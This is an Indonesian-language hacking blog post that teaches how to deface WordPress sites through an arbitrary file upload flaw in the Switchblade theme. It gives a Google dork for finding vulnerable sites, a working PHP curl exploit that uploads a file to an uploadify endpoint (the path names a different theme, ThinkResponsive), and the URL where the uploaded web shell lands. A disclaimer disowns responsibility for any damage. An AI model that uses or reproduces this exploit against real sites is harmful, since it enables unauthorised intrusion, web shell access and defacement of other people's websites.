Deface Dengan WordPress Switchblade Themes Arbitrary 1.3 - File Upload Vulnerability

UNIHACK-TEAM.BLOGSPOT.COM — Deface Dengan WordPress Switchblade Themes Arbitrary 1.3 - File Upload Vulnerability. Halo Mblo, ketemu lagi sama ane yang tamvan dan berani ^_^ , kali ini ane mau share tentang cara
Deface Dengan WordPress Switchblade Themes Arbitrary 1.3 - File Upload Vulnerability. Langsung aja ya mbloo biar gak kelamaan jomvloo ^_^ .

---

.__.__                   __               __                         
 __ __  ____ |__|  |__ _____    ____ |  | __         _/  |_  ____ _____    _____  
|  |  \/    \|  |  |  \\__  \ _/ ___\|  |/ /  ______ \   __\/ __ \\__  \  /     \ 
|  |  /   |  \  |   Y  \/ __ \\  \___|    <  /_____/  |  | \  ___/ / __ \|  Y Y  \
|____/|___|  /__|___|  (____  /\___  >__|_ \          |__|  \___  >____  /__|_|  /
           \/        \/     \/     \/     \/                    \/     \/      \/ .Blogspot.com

---

Google Dor ... dorr... dorrrk : inurl:/wp-content/themes/switchblade

Exploit jeung POC :
<?php
$uploadfile="up.php";
$ch = curl_init("http://127.0.0.1/wordpress/wp-content/themes/ThinkResponsive/includes/uploadify/upload_settings_image.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>


Shell Access :
http://joomvlo.com/[path]]/wp-content/uploads/[tahon]/[bolan]/shell.php

Udah gitu aja, kalo gak ngerti tanya aja ke fb ane link : www.fb.com/Aria.phtml

---

Notes : Semua kerusakan yang terjadi bukanlah tanggung jawab penulis, karena penulis hanya memberi pembelajaran yang bukan untuk disalah gunakan !

---

Judul: Deface Dengan WordPress Switchblade Themes Arbitrary 1.3 - File Upload Vulnerability; Ditulis oleh Hollownesia; Rating Blog: 5 dari 5